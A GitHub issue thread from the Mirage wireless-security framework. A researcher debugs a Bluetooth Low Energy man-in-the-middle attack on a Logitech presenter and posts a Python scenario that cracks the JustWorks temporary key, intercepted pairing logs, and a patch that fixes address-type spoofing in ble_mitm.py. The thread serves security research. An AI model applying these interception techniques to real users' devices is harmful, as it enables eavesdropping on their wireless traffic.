RCayre / mirage

Mirage is a powerful and modular framework dedicated to the security analysis of wireless communications.
https://homepages.laas.fr/rcayre/mirage-documentation
MIT License
261 stars 48 forks source link

Confirm Value Failed #7

Closed dennisarmbruster95 closed 4 years ago

dennisarmbruster95 commented 4 years ago

Hey RCayre, first of all, i really like your project.

I am currently study various BLE devices for vulnerabilities. One of these devices is the Logitech R500 Laser Presenter. I would like to connect between the device and another test device (for example, an Android device) via the BLE_MITM module.

Information about the Bluetooth communication: The BT devices use LE legacy pairing with JustWorks.

I have had the problem with the Logitech R500 and other devices that the TK could not be calculated successfully and the module BLE_CRACK does not deliver a result. I could handle the problem so much that I set the TK to b'\x00'*16 by means of a scenario. JustWorks sets the TK to this value. After much trial and error and comparing recorded test data, it looks like the data in the BLEPairingRandom package is not correct. I modified my scenario so that it calculates the MasterRandom itself and then uses it as in the regular process. This allows the TK to be calculated again via the BLE_CRACK module.

However, I can not get on now, because the pairing always fails with the following reason: Confirm Value Failed

Part of my scenario:

    def onMasterPairingRandom(self, packet):
        io.info("Pairing Random (from master) : random =  " + packet.random.hex())

        mRand = ble.BLECrypto.c1m1(b'\x00'*16, self.module.mConfirm, self.module.pReq, self.module.pRes,
                                   self.module.initiatorAddressType, self.module.initiatorAddress,
                                   self.module.responderAddressType, self.module.responderAddress)
        """
        sRand = ble.BLECrypto.c1m1(b'\x00'*16, self.module.sConfirm, self.module.pReq, self.module.pRes,
                                   self.module.initiatorAddressType, self.module.initiatorAddress,
                                   self.module.responderAddressType, self.module.responderAddress)
        """
        io.info("Not storing mRand :  " + packet.random.hex() + " but storing calculated mRand : " + mRand.hex())
        self.module.mRand = mRand
        m = utils.loadModule("ble_crack")
        m["MASTER_RAND"] = mRand.hex()
        m["PAIRING_REQUEST"] = self.module.pReq.hex()
        m["PAIRING_RESPONSE"] = self.module.pRes.hex()
        m["INITIATOR_ADDRESS_TYPE"] = "public" if self.module.initiatorAddressType == b"\x00" else "random"
        m["INITIATOR_ADDRESS"] = self.module.initiatorAddress
        m["RESPONDER_ADDRESS_TYPE"] = "public" if self.module.responderAddressType == b"\x00" else "random"
        m["RESPONDER_ADDRESS"] = self.module.responderAddress
        m["MASTER_CONFIRM"] = self.module.mConfirm.hex()

        output = m.run()
        if output["success"]:
            self.pin = int(output["output"]["PIN"])
            self.temporaryKey = bytes.fromhex(output["output"]["TEMPORARY_KEY"])
        else:
            self.pin = 0
            self.temporaryKey = b"\x00" * 16
        io.info("Redirecting to slave ...")

        self.module.a2sEmitter.sendp(ble.BLEPairingRandom(random=mRand))
        return False

Output:

[INFO] Entering ACTIVE_MITM stage ...
[INFO] Pairing Request (from master) : 
=> outOfBand =  no
=> inputOutputCapability =  Input Output Capability(0x4,keyboard:yes|yesno:no|display:yes)
=> authentication = AuthReq Flag(0x5,bonding:yes|mitm:yes|secureConnections:no|keypress:no|ct2:no)
=> maxKeySize =  16
=> initiatorKeyDistribution =  Key Distribution Flag(0x7,encKey:yes|idKey:yes|signKey:yes|linkKey:no)
=> responderKeyDistribution =  Key Distribution Flag(0x7,encKey:yes|idKey:yes|signKey:yes|linkKey:no)
[INFO] Storing Pairing Request's payload : 01040005100707
[INFO] Redirecting to slave ...
[INFO] Pairing Response (from slave) : 
=> outOfBand =  no
=> inputOutputCapability =  Input Output Capability(0x3,keyboard:no|yesno:no|display:no)
=> authentication = AuthReq Flag(0x9,bonding:yes|mitm:no|secureConnections:yes|keypress:no|ct2:no)
=> maxKeySize =  16
=> initiatorKeyDistribution =  Key Distribution Flag(0x2,encKey:no|idKey:yes|signKey:no|linkKey:no)
=> responderKeyDistribution =  Key Distribution Flag(0x3,encKey:yes|idKey:yes|signKey:no|linkKey:no)
[INFO] Storing Pairing Response's payload : 02030009100203
[INFO] Redirecting to master ...
[INFO] Pairing Confirm (from master) : confirm = 2ce9c3373a588bee282ccf8a70227863
[INFO] Storing mConfirm :  2ce9c3373a588bee282ccf8a70227863
[INFO] Redirecting to slave ...
[INFO] Pairing Confirm (from slave) : confirm = a714df77a7ffbe92cb020b4adf1c7f1b
[INFO] Storing sConfirm :  a714df77a7ffbe92cb020b4adf1c7f1b
[INFO] Redirecting to master ...
[INFO] Pairing Random (from master) : random =  076c7cadd04584d8bdd2984954811d03
[INFO] Not storing mRand :  076c7cadd04584d8bdd2984954811d03 but storing calculated mRand : 031d81544998d2bdd88445d0ad7c6d07
[INFO] Cracking TK ...
[SUCCESS] Pin found : 0
[SUCCESS] Temporary Key found : 00000000000000000000000000000000
[INFO] Redirecting to slave ...
[INFO] Pairing Failed (from slave) !
[FAIL] Pairing Failed received :  << BLE - Pairing Failed Packet | reason=4 >>
[FAIL] Reason : Confirm Value failed
[INFO] Slave disconnected !
[INFO] Master disconnected !
[INFO] Mirage process terminated !
RCayre commented 4 years ago

Hi, thank you very much. It's weird, I have already performed this kind of attacks using ble_mitm and ble_crack without problems. Have you checked if the MASTER_SPOOFING parameter is set to "yes" and if the BLE dongle you are using supports BD address modification ? You need two dongles supporting the BD address modification (if you have only one, another way could be to use a scenario to perform two different pairings for both sides of the communication, but the pairing will be wrong if you try to connect your master to your slave without MiTM). The initiator / responder addresses are both involved in the pairing process, so it could explain the wrong values of random / confirm.

dennisarmbruster95 commented 4 years ago

Hey RCayre, i apologize for my late reply, but I only work on this project on Wednesdays and Thursdays. I checked the MASTER_SPOOFING parameter (SLAVE_SPOOFING also). The used BLE dongle are from Logilink and should support BD address modification. This is shown with the bt_info module:

┌───────────┬───────────────────┬─────────────┬──────────────────────────────────────────────────┬────────────────────┐
│ Interface │ BD Address        │ Local Name  │ Manufacturer                                     │ Changeable Address │
├───────────┼───────────────────┼─────────────┼──────────────────────────────────────────────────┼────────────────────┤
│ hci1      │ D1:10:54:17:94:78 │ CSR8510 A10 │ Qualcomm Technologies International, Ltd. (QTIL) │ yes                │
└───────────┴───────────────────┴─────────────┴──────────────────────────────────────────────────┴────────────────────┘

and i can see the modifiaction in the output from ble_mitm:

[INFO] Entering WAIT_CONNECTION stage ...
[INFO] Connection Parameter Update Request (from slave) : slaveLatency =  44 / timeoutMult =  216 / minInterval =  6 / maxInterval =  9
[INFO] Sending a response to slave ...
[INFO] Updating connection handle : 69
[SUCCESS] Master connected : 67:CD:CC:63:4C:A3
[INFO] Slave disconnected !
[INFO] Changing HCI Device (hci1) Random Address to : 67:CD:CC:63:4C:A3
[SUCCESS] BD Address successfully modified !
[INFO] Connecting to slave D1:10:54:17:94:78...

I also tested pairing without MITM attack and it is successful. So it shouldn't be an error of my Android device or presenter.

dennisarmbruster95 commented 4 years ago

Hey @RCayre, it seems to me that a2mEmmitter has made a mistake. When measuring, I observed that the initiator and responder calculated with different address types.

Below is a screenshot of values in Mirage during debugging, which shows that the responder has a random address type. Notebook_Spotlight_Pairing_AddressTypes

In this screenshot of Wireshark you can see how the real master sees the types of connection setup. Notebook_Spotlight_Pairing_AddressTypes_Wireshark

For testing i manipulated the following lines in your ble_mitm.py file:

if utils.booleanArg(self.args["SLAVE_SPOOFING"]) and address != self.a2mEmitter.getAddress():
  self.a2mEmitter.setAddress(address)

to

if utils.booleanArg(self.args["SLAVE_SPOOFING"]):
  self.a2mEmitter.setAddress(address, random=addrType)

In debugging i can see that the value of addrType is True and so it should give the emitter the random adress type, but nothing changed for the real master. So it look like an error from an internal module or something like this.

best greetings

dennisarmbruster95 commented 4 years ago

FIX: During the clone stage you need to configure the advertisement parameters with adding oaType=addrType also. Old:

if utils.booleanArg(self.args["SLAVE_SPOOFING"]) and address != self.a2mEmitter.getAddress():
            self.a2mEmitter.setAddress(address)
        self.a2mEmitter.setScanningParameters(data=dataResponse)
        self.a2mEmitter.setAdvertisingParameters(data=data, intervalMin=intervalMin, intervalMax=intervalMax, daType = addrType)

New:

if utils.booleanArg(self.args["SLAVE_SPOOFING"]) and address != self.a2mEmitter.getAddress():
            self.a2mEmitter.setAddress(address, random=addrType)
        self.a2mEmitter.setScanningParameters(data=dataResponse)
        self.a2mEmitter.setAdvertisingParameters(data=data, intervalMin=intervalMin, intervalMax=intervalMax, daType=addrType, oaType=addrType)

If you wish @RCayre i would make a pull request for this.